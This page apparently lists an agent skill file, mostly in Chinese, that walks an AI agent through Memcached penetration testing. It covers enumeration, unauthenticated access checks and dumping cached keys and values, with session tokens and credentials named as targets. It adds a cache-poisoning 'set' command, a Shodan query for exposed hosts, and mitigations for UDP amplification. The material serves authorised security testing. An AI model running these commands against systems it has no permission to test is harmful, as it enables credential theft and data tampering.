memcache-pentesting

$npx mdskill add wgpsec/AboutSecurity/memcache-pentesting

Execute Memcached penetration tests on exposed 11211 ports.

  • Extracts cached data and assesses DDoS amplification risks.
  • Integrates with Nmap, Metasploit, and Memcached APIs.
  • Decides actions based on port status and authentication checks.
  • Outputs detailed attack phases and vulnerability findings.

SKILL.md

.github/skills/memcache-pentestingView on GitHub ↗
---
name: memcache-pentesting
description: |
  Memcached 服务(11211 端口)渗透测试方法论。涵盖 Memcached 服务发现、未授权访问、缓存数据提取、DDoS 放大攻击、已知漏洞利用。
  当 Agent 扫描发现 11211 端口开放、需要测试 Memcached 未授权访问、提取缓存数据、或评估 DDoS 放大风险时,触发此 Skill。
metadata:
  tags:
    - memcached
    - 11211端口
    - 缓存
    - 未授权访问
    - ddos放大
  category: exploit/network-service
---

# Memcached 渗透测试方法论 (11211)

## 深入参考

- Memcached 命令详解、数据提取技术、DDoS 放大原理 -> 读 [references/memcache-techniques.md](references/memcache-techniques.md)

---

## 整体决策树

```
发现 11211 端口开放
├─ Phase 1: 服务发现
│   ├─ Nmap 脚本扫描 -> 版本与基本信息
│   ├─ 手动连接 (nc / telnet)
│   └─ TCP vs UDP 探测
│       ├─ TCP 11211 -> 标准连接
│       └─ UDP 11211 -> DDoS 放大攻击面
├─ Phase 2: 未授权访问测试
│   ├─ 发送 version / stats 命令
│   │   ├─ 返回数据 -> 未授权 -> Phase 3
│   │   └─ 无响应 / ERROR -> SASL 认证启用 -> 爆破
│   └─ Memcached 多数实例默认无认证
├─ Phase 3: 缓存数据提取
│   ├─ stats -> 基础统计信息
│   ├─ stats slabs -> 内存分片信息
│   ├─ stats items -> 各 slab 中的项目
│   ├─ stats cachedump <slab> <count> -> 键名 (< 1.4.31)
│   ├─ lru_crawler metadump all -> 键名 (>= 1.4.31)
│   └─ get <key> -> 获取具体缓存值
├─ Phase 4: DDoS 放大风险
│   ├─ UDP 端口开放 -> 可被利用为反射放大源
│   ├─ 放大比可达 51000x
│   └─ Metasploit: auxiliary/scanner/memcached/memcached_amp
└─ Phase 5: 已知漏洞
    ├─ CVE-2021-37519 (堆溢出)
    ├─ CVE-2019-11596 (NULL 指针)
    └─ 旧版本缓冲区溢出
```

---

## Phase 1: 服务发现

### 1.1 自动枚举

```bash
# Nmap 信息收集
nmap -n -sV --script memcached-info -p 11211 <IP>

# Metasploit 数据提取
msf> use auxiliary/gather/memcached_extractor

# Metasploit DDoS 放大检测
msf> use auxiliary/scanner/memcached/memcached_amp
```

### 1.2 手动连接

```bash
# TCP 连接
echo "version" | nc -vn -w 1 <IP> 11211
echo "stats" | nc -vn -w 1 <IP> 11211

# libmemcached 工具
sudo apt install libmemcached-tools
memcstat --servers=<IP>
```

---

## Phase 2: 未授权访问测试

### 2.1 认证检测

Memcached 虽支持 SASL 认证,但绝大多数实例默认暴露无认证。

```bash
# 发送 version 命令测试
echo "version" | nc -vn -w 1 <IP> 11211
# 返回 VERSION x.x.x 则无需认证

# 发送 stats 命令
echo "stats" | nc -vn -w 1 <IP> 11211
# 返回 STAT 数据则确认无认证
```

### 2.2 认证决策树

```
连接测试
├─ 返回 VERSION / STAT 数据
│   └─ 未授权访问确认 -> Phase 3
├─ 返回 ERROR 或无响应
│   ├─ SASL 认证可能启用
│   └─ 端口可能被防火墙过滤
└─ 连接超时
    └─ 检查 TCP/UDP 端口状态
```

---

## Phase 3: 缓存数据提取

### 3.1 基础信息收集

```bash
# 版本信息
echo "version" | nc -vn -w 1 <IP> 11211

# 通用统计
echo "stats" | nc -vn -w 1 <IP> 11211

# 内存分片统计
echo "stats slabs" | nc -vn -w 1 <IP> 11211

# 项目统计
echo "stats items" | nc -vn -w 1 <IP> 11211
```

### 3.2 键名提取

```bash
# Memcached < 1.4.31: cachedump 方式
echo "stats cachedump <slab_number> 0" | nc -vn -w 1 <IP> 11211
# 0 表示无限输出

# Memcached >= 1.4.31: lru_crawler 方式 (推荐)
echo 'lru_crawler metadump all' | nc <IP> 11211 | head -50
```

### 3.3 获取具体值

```bash
# 获取指定键的值
echo "get <key_name>" | nc -vn -w 1 <IP> 11211
```

### 3.4 工具辅助

```bash
# libmemcached 工具
memcstat --servers=<IP>       # 统计信息
memcdump --servers=<IP>       # 导出所有键名
memccat --servers=<IP> <key>  # 获取键值

# PHP 脚本
sudo apt-get install php-memcached
php -r '$c = new Memcached(); $c->addServer("<IP>", 11211); var_dump($c->getAllKeys());'
```

### 3.5 数据提取决策树

```
缓存数据提取流程
├─ stats items -> 确认有数据的 slab
├─ 版本 < 1.4.31
│   └─ stats cachedump <slab> 0 -> 获取键名
├─ 版本 >= 1.4.31
│   └─ lru_crawler metadump all -> 获取键名
├─ 获取键名后
│   └─ get <key> -> 逐个获取值
└─ 关注的数据类型
    ├─ 会话 Token / Session ID
    ├─ 用户凭据 / API Key
    ├─ 序列化对象 (反序列化攻击面)
    └─ 业务敏感数据
```

**注意**: 缓存数据是临时的,可能随时出现或消失。

---

## Phase 4: DDoS 放大风险

### 4.1 UDP 反射放大

Memcached UDP 反射放大是已知的最大放大攻击之一,放大比可达 **51000x**。

```bash
# 检测 UDP 端口
nmap -sU -p 11211 <IP>

# Metasploit 放大检测
msf> use auxiliary/scanner/memcached/memcached_amp
msf> set RHOSTS <IP>
msf> run
```

### 4.2 DDoS 风险评估

```
UDP 11211 开放
├─ 可被滥用为 DDoS 反射放大源
│   ├─ 攻击者发送伪造源 IP 的小请求
│   ├─ Memcached 向受害者返回大响应
│   └─ 放大比高达 51000x
├─ 缓解措施
│   ├─ 禁用 UDP: memcached -U 0
│   ├─ 防火墙限制 11211 端口访问
│   └─ 绑定到 localhost: memcached -l 127.0.0.1
└─ 报告建议
    └─ 将 UDP 暴露标记为高风险发现
```

---

## Phase 5: 已知漏洞

### 5.1 漏洞检测决策树

```
Memcached 版本已知
├─ < 1.4.31
│   └─ cachedump 可用 (信息泄露更简单)
├─ < 1.5.6
│   └─ CVE-2018-1000127 (整数溢出)
├─ < 1.6.1
│   └─ CVE-2019-11596 (NULL 指针解引用 DoS)
├─ < 1.6.12
│   └─ CVE-2021-37519 (堆缓冲区溢出)
└─ 通用
    └─ searchsploit memcached
```

---

## 数据写入与操纵

### 缓存投毒

如果可以写入 Memcached,可以投毒缓存数据:

```bash
# 设置/覆盖键值
printf "set target_key 0 3600 11\r\nmalicious_val\r\n" | nc <IP> 11211

# 潜在影响:
# - 修改会话数据 -> 越权
# - 修改配置缓存 -> 逻辑绕过
# - 注入序列化对象 -> 反序列化 RCE
```

---

## Shodan 搜索

```
port:11211 "STAT pid"
"STAT pid"
```

More from wgpsec/AboutSecurity

SkillDescription
401-403-bypass401/403 访问拒绝绕过方法论。当遇到管理后台、API 端点返回 401/403 Forbidden 时使用。覆盖路径操纵、HTTP 方法篡改、Header 注入、协议降级、组合攻击
ad-acl-abuseActive Directory ACL 滥用攻击方法论。当 BloodHound 发现 GenericAll/WriteDACL/WriteOwner/GenericWrite/ForceChangePassword 等危险 ACE 时使用。覆盖 ACE 枚举、权限滥用链、Shadow Credentials、RBCD 攻击
ad-delegation-attackKerberos 委派攻击(非约束/约束/RBCD)。当 BloodHound 发现委派配置、或已获取有 SPN 的服务账号/机器账号控制权时使用。通过 S4U 协议滥用可实现跨服务模拟任意用户,常用于域内权限提升和横向移动。
ad-domain-attackActive Directory 域环境攻击全链路。当目标主机在域环境中(systeminfo 显示 Domain 非 WORKGROUP)、发现 88/389/636 端口、或获取到域用户凭据时使用。覆盖域信息收集、用户枚举、Kerberoasting、AS-REP Roasting、委派攻击、ACL 滥用、DCSync、Golden/Silver Ticket
ad-persistenceAD 域环境持久化技术。当已获取域管/本地管理员权限、需要建立持久访问以确保重启或密码更改后仍能回到目标环境时使用。覆盖主机级持久化(计划任务/注册表Run/COM劫持/WMI事件订阅/Windows服务/启动文件夹)、域级持久化(Golden Ticket/Silver Ticket/Skeleton Key/DSRM/AdminSDHolder)、DCShadow/GoldenGMSA高级技术、清理命令与检测规避
ad-trust-attack域信任关系攻击。当目标存在多域/多林环境时使用。包含父子域提权(Golden Ticket + ExtraSid)、跨林攻击(SID History/MSSQL Trust Links)、单向信任利用。已获取子域 Domain Admin 或发现信任关系时优先加载。
adcs-certipy-attackActive Directory Certificate Services (ADCS) 证书攻击。当发现域内有 CA 服务器、ADCS Web Enrollment、证书模板配置错误时使用。覆盖 ESC1-ESC11 所有证书滥用路径、Certipy 工具链、证书伪造、NTLM 中继到 ADCS。发现 ADCS/CA/证书/certsrv 相关内容时一定要使用此技能
adinfo-enum使用 Adinfo 进行 Active Directory 信息收集。当获得域用户凭据后需要快速收集域环境信息时使用。Adinfo 是一个快速 AD 信息收集工具,一条命令输出域控列表、域管用户、信任关系、GPO、SPN、委派配置等关键信息——比手动 LDAP 查询快得多。发现域环境后第一步信息收集使用此技能
agent-security|
ai-data-security|